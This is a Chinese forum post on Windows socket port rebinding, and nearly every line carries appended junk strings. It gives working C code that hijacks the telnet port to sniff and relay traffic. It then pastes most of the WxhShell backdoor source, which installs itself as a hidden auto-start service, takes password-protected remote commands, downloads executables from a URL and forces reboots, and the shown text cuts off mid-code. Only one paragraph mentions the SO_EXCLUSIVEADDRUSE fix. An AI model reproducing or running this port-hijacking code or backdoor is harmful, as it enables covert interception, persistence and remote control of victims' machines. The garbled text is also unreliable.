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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nu%Nt"~[%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F$yFR  
h \cK  
  saddr.sin_family = AF_INET; 0BP~ 0z  
ao5yW;^y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^V,/4u  
E6-(q!"A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?,e:c XhE2  
Bv]wHPun  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y},GZ^zqy  
Y'H/ $M N  
  这意味着什么?意味着可以进行如下的攻击: xdU pp~}+.  
3rdxXmx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T q; "_s  
v%~ViOgL\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kQ'xs%Fw  
? /X6x1PN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MC)W?  
Y +yvv{01  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n.UM+2G  
!4cdP2^P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OxGCpbh*7o  
G:ngio]G0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z5a@fWU  
1% %Tm"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7Bd_/A($  
kL2sJX+  
  #include nln[V$   
  #include moI<b\G@  
  #include _7H J'  
  #include    OiEaVPSI;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )g^Ewzy^X  
  int main() ly5L-=Xb  
  { l hp:.  
  WORD wVersionRequested; $ rnr;V  
  DWORD ret; zV Li  
  WSADATA wsaData; Y6;9j=[  
  BOOL val; :>ST)Y@]w  
  SOCKADDR_IN saddr; < io8 b|A  
  SOCKADDR_IN scaddr; %= ;K>D  
  int err; *!s?hHv  
  SOCKET s; /[dAgxL  
  SOCKET sc; ):EXh#  
  int caddsize; E004"E<E  
  HANDLE mt; $^ dk>Hj>4  
  DWORD tid;   / hdl  
  wVersionRequested = MAKEWORD( 2, 2 ); rX}==`#\  
  err = WSAStartup( wVersionRequested, &wsaData ); J0bs$  
  if ( err != 0 ) { (uz!:dkvx  
  printf("error!WSAStartup failed!\n"); CPM6T$_qE  
  return -1; 6T_c#G5  
  } nW*Oo|p~=  
  saddr.sin_family = AF_INET; leJd) {  
   HD|)D5wH|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _JO @O^Ndd  
X1D:{S[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @CUDD{1o  
  saddr.sin_port = htons(23); <"%h1{V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %4K#<b"W  
  { #T`+~tW'|  
  printf("error!socket failed!\n"); j" .6  
  return -1; l Nto9  
  } [kkcV5I-  
  val = TRUE; n}kz&,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M<pgaB0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?y@pR e$2  
  { DTVnQC  
  printf("error!setsockopt failed!\n"); qiJ{X{lI  
  return -1; DdBr Jx  
  } S6Pb V}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YL0RQa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x"De 9SB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SVz.d/3Y  
}CqIKoX.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lI<8)42yq  
  { kO"aE~  
  ret=GetLastError(); \ .s".aA  
  printf("error!bind failed!\n"); 4;{CR. D  
  return -1; 7s3<}  
  } Nuq/_x  
  listen(s,2); W)O'( D  
  while(1) 6E4L4Vb  
  { JwVv+9hh  
  caddsize = sizeof(scaddr); 4`]1W,t  
  //接受连接请求 `"4EE}eQc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AOUO',v  
  if(sc!=INVALID_SOCKET) (E[hl  
  { &p/k VM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >@iV!!  
  if(mt==NULL) aa]v7d  
  { JpiKZG@L  
  printf("Thread Creat Failed!\n"); cXH?'q 'vZ  
  break; wyM3|%RZ  
  } d<e.`dhc  
  } Mpx.n]O.  
  CloseHandle(mt); xoaQ5u  
  } FgaBwd^W  
  closesocket(s); jX@9849@  
  WSACleanup(); ]0E-lD0J  
  return 0; Zv7)+ Q  
  }   =v9;HPiO  
  DWORD WINAPI ClientThread(LPVOID lpParam) FFGTIT# {"  
  { (^\i(cfu6Q  
  SOCKET ss = (SOCKET)lpParam; '5\1uB PKW  
  SOCKET sc; aR $P}]H  
  unsigned char buf[4096]; +M:Q!'  
  SOCKADDR_IN saddr; ;_*F [ }w  
  long num; K)OlCpHc  
  DWORD val; %Kp}Wo6  
  DWORD ret; (FHh,y~v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )cXc"aj@s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z>~3*a9&  
  saddr.sin_family = AF_INET; $i Tgv?.Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |{Q,,<C  
  saddr.sin_port = htons(23); *^ BE1-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yD"sYT   
  { Mk;j"ZD F  
  printf("error!socket failed!\n"); 0}N^l=jQ  
  return -1; Fsh-a7Qp  
  } >sq9c/}X  
  val = 100; ;k]pq4E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]=Q'1%  
  { 0kfw8Lon  
  ret = GetLastError(); [U0c   
  return -1; 50A_+f.7%  
  } 0Jr< >7Q1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eF@E|kK  
  { fCR;Fk2B  
  ret = GetLastError(); &D#v0!e~x  
  return -1; `x{gF8GV  
  } KNhH4K2iP8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DGnswN%n1  
  { ptcU_*Gd  
  printf("error!socket connect failed!\n"); xB#E&}Ho  
  closesocket(sc); `OWB@_u5  
  closesocket(ss); cjk5><}`H7  
  return -1; 8:bNFgJD  
  } j? A +qk  
  while(1) XijQ)}'C3  
  { Mtr~d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bMYRQ,K`C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IcZ'KV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NR5A"_'  
  num = recv(ss,buf,4096,0); =k z;CS+  
  if(num>0) [#tW$^UD  
  send(sc,buf,num,0); /e\dsC{uJ  
  else if(num==0) L~~aW0,  
  break; zoU.\]#C  
  num = recv(sc,buf,4096,0);  Bv3v;^  
  if(num>0) "7DPsPs  
  send(ss,buf,num,0); <Jx{Uv  
  else if(num==0) "O`;zC  
  break; n_Z8%|h  
  } c=gUY~Rl  
  closesocket(ss); pFuQ!7Uk  
  closesocket(sc); $O#h4L_  
  return 0 ; Y~6pJNR  
  } gE&f}M-  
Jz6PqU|=  
`}bUf epMJ  
========================================================== g=.5*'Xlp  
@tA.^k0`  
下边附上一个代码,,WXhSHELL S^u!/ =&  
jn[a23;G)  
========================================================== iX28+weH  
T7v8}_"-  
#include "stdafx.h" !Zrvko  
Smp+}-3O  
#include <stdio.h> IO4 IaeM  
#include <string.h> SV~xNzo~  
#include <windows.h> y-U(`{[nM  
#include <winsock2.h> ,rKN/{M!  
#include <winsvc.h> DCm;dh  
#include <urlmon.h> DuWP)#kg  
~gf $ L9  
#pragma comment (lib, "Ws2_32.lib") ocMf}"  
#pragma comment (lib, "urlmon.lib") ,#A,+!4  
> h9U~#G=  
#define MAX_USER   100 // 最大客户端连接数 tv0xfAV  
#define BUF_SOCK   200 // sock buffer :1iw_GhJf  
#define KEY_BUFF   255 // 输入 buffer O]>Or3oO  
km^AX:r1  
#define REBOOT     0   // 重启 3O.-'U1K  
#define SHUTDOWN   1   // 关机 khR3[ju{^  
sM-*[Q=_  
#define DEF_PORT   5000 // 监听端口 MG6Tk(3S  
M3''xrpC  
#define REG_LEN     16   // 注册表键长度 u0,~pJvX  
#define SVC_LEN     80   // NT服务名长度 `'>>[*06:a  
La!PG Z{  
// 从dll定义API #df43_u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \=@}(<4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QqDF_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -H \nFJ6+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ru&RL HFV  
!"kvXxp^  
// wxhshell配置信息 -nW{$&5AF  
struct WSCFG { lbPxZ'YO#  
  int ws_port;         // 监听端口 TcC=_je460  
  char ws_passstr[REG_LEN]; // 口令 H Ow hl  
  int ws_autoins;       // 安装标记, 1=yes 0=no _eF*8 /z  
  char ws_regname[REG_LEN]; // 注册表键名 ,%C$~+xjM  
  char ws_svcname[REG_LEN]; // 服务名 (mEZ4yM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l*eA ?Qz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @6E[K'5c1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s 2E}+ #  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #yqcUbJY0R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bY<"$);s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Yv5Sw  
U+ 8[Ia(t  
}; z7CYYU?  
#wo_  
// default Wxhshell configuration oeIS&O.K  
struct WSCFG wscfg={DEF_PORT, M]W4S4&Y=  
    "xuhuanlingzhe", YcI]_[  
    1, S.I<Hs  
    "Wxhshell", <[q)2 5RL  
    "Wxhshell", A-~)7-  
            "WxhShell Service", &qr7yyY  
    "Wrsky Windows CmdShell Service", oH;Y}h  
    "Please Input Your Password: ", #\jPBLc  
  1, V$@2:@8mo  
  "http://www.wrsky.com/wxhshell.exe", vD(;VeW[  
  "Wxhshell.exe" lyV]-w  
    }; dU\fC{1Z  
T|m+ULp~  
// 消息定义模块 =:b/z1-v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #: F)A_Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3lJK[V{'#'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aV ^2  
char *msg_ws_ext="\n\rExit."; "[%NXan  
char *msg_ws_end="\n\rQuit."; j}|6k6t  
char *msg_ws_boot="\n\rReboot..."; >A)he!I  
char *msg_ws_poff="\n\rShutdown..."; w8E,zH  
char *msg_ws_down="\n\rSave to "; 9> |rIw  
5ZSw0A(w  
char *msg_ws_err="\n\rErr!"; 5t PmrWZ  
char *msg_ws_ok="\n\rOK!"; |`|b&Rhu  
~5|a9HV:  
char ExeFile[MAX_PATH]; ^mGTZxO  
int nUser = 0; =m40{  
HANDLE handles[MAX_USER]; Pg:Nz@CQ  
int OsIsNt; eY-$h nUe  
D Lu]d$G  
SERVICE_STATUS       serviceStatus; b"gYNGgX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B!<I[fvK  
>8,BC  
// 函数声明 f="}.  
int Install(void); ;9^B# aTM  
int Uninstall(void); h m"B kOA  
int DownloadFile(char *sURL, SOCKET wsh); iZ58;`  
int Boot(int flag); ZpZ~[BtQ  
void HideProc(void); mdk:2ndP  
int GetOsVer(void); ^^[,aBu  
int Wxhshell(SOCKET wsl); l/`Z+];  
void TalkWithClient(void *cs); 5p~Z-kU&  
int CmdShell(SOCKET sock); B<o i,S  
int StartFromService(void); Ywni2-)<  
int StartWxhshell(LPSTR lpCmdLine); FPqgncBHK  
$UH_)Q2#J^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A^~\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .OjJK?  
3"B|w^6'2  
// 数据结构和表定义 w90y-^p%  
SERVICE_TABLE_ENTRY DispatchTable[] = "?Y0Ng[  
{ S`-z$ph}  
{wscfg.ws_svcname, NTServiceMain}, A(C3kISM  
{NULL, NULL} Cjd +\7#G  
}; S-1}3T%  
L4dbrPE*0  
// 自我安装 KLxg  
int Install(void) YRwS{ e*u  
{ :c6%;2  
  char svExeFile[MAX_PATH]; A*$vk2VWw  
  HKEY key; wM|-u/9+  
  strcpy(svExeFile,ExeFile); ?GFVV->i  
-wO`o<  
// 如果是win9x系统,修改注册表设为自启动 # ><.zZ  
if(!OsIsNt) { 5?Bi+fg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fpzTv3D=I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G1D(-X4ALZ  
  RegCloseKey(key); Um|:AT}`^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { u;ntDr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a E#s#Kv   
  RegCloseKey(key); =e4,)Wd9&  
  return 0; ve>8vw2  
    } i#C?&  
  } 6=zme6D  
} IX3r$}4  
else { h\yYg'CC  
^EB}e15"  
// 如果是NT以上系统,安装为系统服务 aWit^dp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h;B'#$_  
if (schSCManager!=0) DZ EA*E>  
{ ;mMn-+3<  
  SC_HANDLE schService = CreateService C|>#|5XaF  
  ( 9eV@v  
  schSCManager, =7jkW (Q  
  wscfg.ws_svcname, oc15!M3$  
  wscfg.ws_svcdisp, D3jP hPy.  
  SERVICE_ALL_ACCESS, D6 M:pIN*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f[X>?{q  
  SERVICE_AUTO_START, EswM#D 9(4  
  SERVICE_ERROR_NORMAL, }wiq?dr  
  svExeFile, BKGwi2]Ry  
  NULL, ){6;o& CC:  
  NULL, <|.M]]}j  
  NULL, kQj8;LU  
  NULL, r[hfN2,#  
  NULL I5-/K VWb  
  ); C[[z3tn  
  if (schService!=0) {i=qx#2X?H  
  { `; `34t_)  
  CloseServiceHandle(schService); Hiq9Jn uv(  
  CloseServiceHandle(schSCManager); yJr'\(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SX;FBO(p  
  strcat(svExeFile,wscfg.ws_svcname); :@pm gp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s(zG.7*3n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yc9 M6=E^  
  RegCloseKey(key); ;ymUMQ%;/  
  return 0; h'N,oDB)  
    } n9)/(=)>*  
  } haY.rH]z  
  CloseServiceHandle(schSCManager); 4YdmG.CU  
} /423!g0Q  
} :CV&WP  
aZmSCi:&'  
return 1; 2Qn%p[#n  
} ;Yi ;2ttW  
8(ZQD+U(9F  
// 自我卸载 bd%/dr  
int Uninstall(void) z/;NoQ-  
{ e#08,wgW  
  HKEY key; 2#sE\D  
AN^;~m^  
if(!OsIsNt) { K}Aaflq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 1 L:%Af  
  RegDeleteValue(key,wscfg.ws_regname); br0gB3 r  
  RegCloseKey(key); O-G4^V8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g6nBu  
  RegDeleteValue(key,wscfg.ws_regname); k8w8I$QEM  
  RegCloseKey(key); Iy"   
  return 0; y\ouIsI77  
  } TG'A'wXxy  
} ;N i+TS  
} Rh: \/31~  
else { 03# r F@e  
'?q|7[SU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yj;$hV8j(  
if (schSCManager!=0) cz.-cuD[iD  
{ Tl9_Wi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {Rbc  
  if (schService!=0) g{dyDN$5|w  
  { <~f/T]E,  
  if(DeleteService(schService)!=0) { 2<<,aL*  
  CloseServiceHandle(schService); GT* \gZ  
  CloseServiceHandle(schSCManager); .\i9}ye  
  return 0; y|c]r!A  
  } _e/v w:  
  CloseServiceHandle(schService); 1!,lI?j,  
  } HSyohP87  
  CloseServiceHandle(schSCManager); }>SHTHVye  
} WtdWD_\%Y\  
} ;c~6^s`2  
\Q]2Zq  
return 1; tTC[^Dji  
} b[H& vp  
?. CA9!|   
// 从指定url下载文件 @| r*yi  
int DownloadFile(char *sURL, SOCKET wsh) Rh,*tS  
{ L{osh0  
  HRESULT hr; sexnO^s  
char seps[]= "/"; Av7bp[OD  
char *token; 1P&c:n  
char *file; R$NH [Tz  
char myURL[MAX_PATH]; WCU[]A  
char myFILE[MAX_PATH]; Wrt3p-N"D  
YpXUYNy  
strcpy(myURL,sURL); w0VJt<e*  
  token=strtok(myURL,seps); Gv3a<Knn4  
  while(token!=NULL) ~[l2"@  
  { G^oBu^bq~  
    file=token; BpRQG]L  
  token=strtok(NULL,seps); 389T6sP]  
  } &yWl8O  
5,;{<\c  
GetCurrentDirectory(MAX_PATH,myFILE); ll73}v  
strcat(myFILE, "\\"); v?5Xx{ym  
strcat(myFILE, file); qH$G_R#)8B  
  send(wsh,myFILE,strlen(myFILE),0); fq _6xs  
send(wsh,"...",3,0); q4Qm: |-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )k=8.j4  
  if(hr==S_OK) [\eUCt F  
return 0; }kGJ)zh  
else miEfxim  
return 1; zN*/G6>A  
NhXTt!S6C  
} 3,W2CN}  
Peh( *D{  
// 系统电源模块 $0NWX  
int Boot(int flag) hAKyT~[n0  
{ , )u}8ty3j  
  HANDLE hToken; 7DXT1+t  
  TOKEN_PRIVILEGES tkp; I3p ~pt2  
6D@tCmmq  
  if(OsIsNt) { 'd(OFE-hn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KhYGiVA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @\b*a]CV  
    tkp.PrivilegeCount = 1; !uy?]l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M"ZP s   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AZxOq !B  
if(flag==REBOOT) { {PWz:\oaD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *~4w%U4T0  
  return 0; 'BcxKqC  
} F[ m^(x  
else { i8+kc_8#d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u3w `(3{ <  
  return 0;  \^w=T*  
} +7^{T:^ht  
  } .0r5=  
  else { +|r) ;>b  
if(flag==REBOOT) { n!A')]y"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v6;XxBR6  
  return 0; C<eeAWP3v  
} >{$ ;O  
else { &(IL`%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |C\g3N-  
  return 0; }Sqey:9jH  
} uFW4A  
} (;+ JM*c2N  
[p_R?2uT  
return 1; UdT ~ h  
} i=#r JK=  
3q{H=6  
// win9x进程隐藏模块 Gq$9he<  
void HideProc(void) 84cmPnaT  
{ KSc&6UVz^  
[}+0N GgR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &B/cy<;y,  
  if ( hKernel != NULL ) *<OWd'LI  
  { w[n|Sauy,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3T|:1Nw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gjk=`lU  
    FreeLibrary(hKernel); VgN`' iC`I  
  } VABrw t  
ig7)VKr  
return;  QSmE:Y  
} *B#<5<T  
5MO:hE5sm  
// 获取操作系统版本 BAx)R6kS;  
int GetOsVer(void) JOx75}  
{ fI t:eKHr  
  OSVERSIONINFO winfo; s"=e (ob  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \b1I<4(  
  GetVersionEx(&winfo); ;yx+BaG~?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Q,HhqV'  
  return 1; -~p@o1k0  
  else (TDLT^  
  return 0; 8n,i5>!d  
} Z"mpE+U*  
h,\^Sb5AP  
// 客户端句柄模块 pIqPIuy  
int Wxhshell(SOCKET wsl) VQ$=F8ivG  
{ mdoy1a  
  SOCKET wsh; D-8%lGS  
  struct sockaddr_in client; ouPwhB,bg  
  DWORD myID; ?k<wI)JR  
GmcxN<  
  while(nUser<MAX_USER)  N_=7  
{ F C2oP,  
  int nSize=sizeof(client); Q4Hf!v]r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pz:$n_XC}  
  if(wsh==INVALID_SOCKET) return 1; 9 %,_G.  
`Z{; c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EN+WEMro  
if(handles[nUser]==0) r%&hiobMYs  
  closesocket(wsh); sYYg5vL9  
else BT2[@qH|qF  
  nUser++; +wY3E*hU  
  } @lc1Ipfk"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X.o[=E  
nsaf6y&E  
  return 0; qWy{{ A+  
} .]k(7F!W  
%Jq(,u  
// 关闭 socket q}M^i7IE  
void CloseIt(SOCKET wsh) bsR^H5O@  
{ VVYQIR]!yk  
closesocket(wsh); @433?g`2b  
nUser--; TXH: +mc  
ExitThread(0); #OJsu  
} SdYES5aES  
b,#cc>76\  
// 客户端请求句柄 Vj:)w<] ,  
void TalkWithClient(void *cs) 7Aq4YjbX  
{ ]zhFFq`  
<T+Pw7X   
  SOCKET wsh=(SOCKET)cs; $lU~3I)  
  char pwd[SVC_LEN]; u)t1t69T\g  
  char cmd[KEY_BUFF]; #ie{!Mh  
char chr[1]; Y\%R6/Gj|u  
int i,j; ^r(2 r  
LZX-am`%  
  while (nUser < MAX_USER) { V}'|a<8kVv  
?:lOn(0&  
if(wscfg.ws_passstr) { Y GO ;wIS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YzhZ%:8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Dc$nL?TqX  
  //ZeroMemory(pwd,KEY_BUFF); )qzJu*cQ  
      i=0; B>o #eW  
  while(i<SVC_LEN) {  8Nd +  
7>9/bB+TL  
  // 设置超时 q ^n6"&;*  
  fd_set FdRead; $_S^Aw?  
  struct timeval TimeOut; V. 1sb pI  
  FD_ZERO(&FdRead); ~*LH[l>K  
  FD_SET(wsh,&FdRead); R 7xV{o  
  TimeOut.tv_sec=8; KG4~t=J`  
  TimeOut.tv_usec=0; ;k (}~_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t1n'Ecm(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tCI8 \~  
WN?!(r<qA_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IE|x+RBD  
  pwd=chr[0]; ^NHQ[4I  
  if(chr[0]==0xd || chr[0]==0xa) { Q'7o_[o/  
  pwd=0; @H]g_yw [:  
  break; 6 !+xf  
  } P`-(08t  
  i++; P7 (&*=V  
    } fx99@%Ii  
S]K^wj[  
  // 如果是非法用户,关闭 socket ]m=* =LLC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dn:g_!]p  
} @ns2$(wkm@  
r\'3q '7p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7EI(7:gOn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @wl80v  
z]gxkol\  
while(1) { E4T?8TO$o%  
L((z;y>q|  
  ZeroMemory(cmd,KEY_BUFF); wAF>C[<\  
96}/;e]@  
      // 自动支持客户端 telnet标准   `w[0q?}"`  
  j=0; FGy7KVR  
  while(j<KEY_BUFF) { AWh{dM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8{4I6;e-  
  cmd[j]=chr[0]; xZGR<+t  
  if(chr[0]==0xa || chr[0]==0xd) { 6X7r=w  
  cmd[j]=0; }{bO ~L7  
  break; `i f*   
  } n!ea)+^  
  j++; r1}7Q7-z  
    } u32wS$*8  
44kY[jhf  
  // 下载文件 lY?TF  
  if(strstr(cmd,"http://")) { 1YAy\F~`.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 87YT;Z;U&  
  if(DownloadFile(cmd,wsh)) ?rk3oa-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); unSF;S<  
  else Q\m"n^XN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5NJ@mm{0  
  } E+ JGqk  
  else { vkc(-n  
HR['y9 U  
    switch(cmd[0]) { ,y:q]PR  
  }b)?o@9}:  
  // 帮助 Pkc4=i,`A  
  case '?': { |os2@G$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xot q$r  
    break; M}(4>W  
  } QTcngv[  
  // 安装 ;9,Ll%Lk<  
  case 'i': { ?9mWMf%t  
    if(Install()) &y3_>!L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |I)Ms NF  
    else a9FlzR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [GU!],Y  
    break; qe`W~a9x  
    } cvn,&G -`  
  // 卸载 |n01T_Z)P  
  case 'r': { ?uk|x!Ko]  
    if(Uninstall()) b]hRmW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1VY/sv  
    else 1?E\2t&K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); goRoi\z $  
    break; /bt@HFL|`  
    } %QwMB`x  
  // 显示 wxhshell 所在路径 } ..}]J;To  
  case 'p': { D dt9`j  
    char svExeFile[MAX_PATH]; 0kmVP~K  
    strcpy(svExeFile,"\n\r"); ~4XJ" d3L  
      strcat(svExeFile,ExeFile); n)$ q*IN"  
        send(wsh,svExeFile,strlen(svExeFile),0); @^k$`W;  
    break; 5IVASqYp  
    } r[EN`AxDb  
  // 重启 <0JW[m  
  case 'b': { <9\_b 6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kIU"-;5tP  
    if(Boot(REBOOT)) <:q]t6]$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JOenVepQ,  
    else { J5@_OIc1y  
    closesocket(wsh); mEyZ<U9  
    ExitThread(0); dRWp/3 }  
    } OwSr`2'9  
    break; SV6Np?U  
    } +qzsC/y  
  // 关机  M"X/([G  
  case 'd': { "=P@x|I  
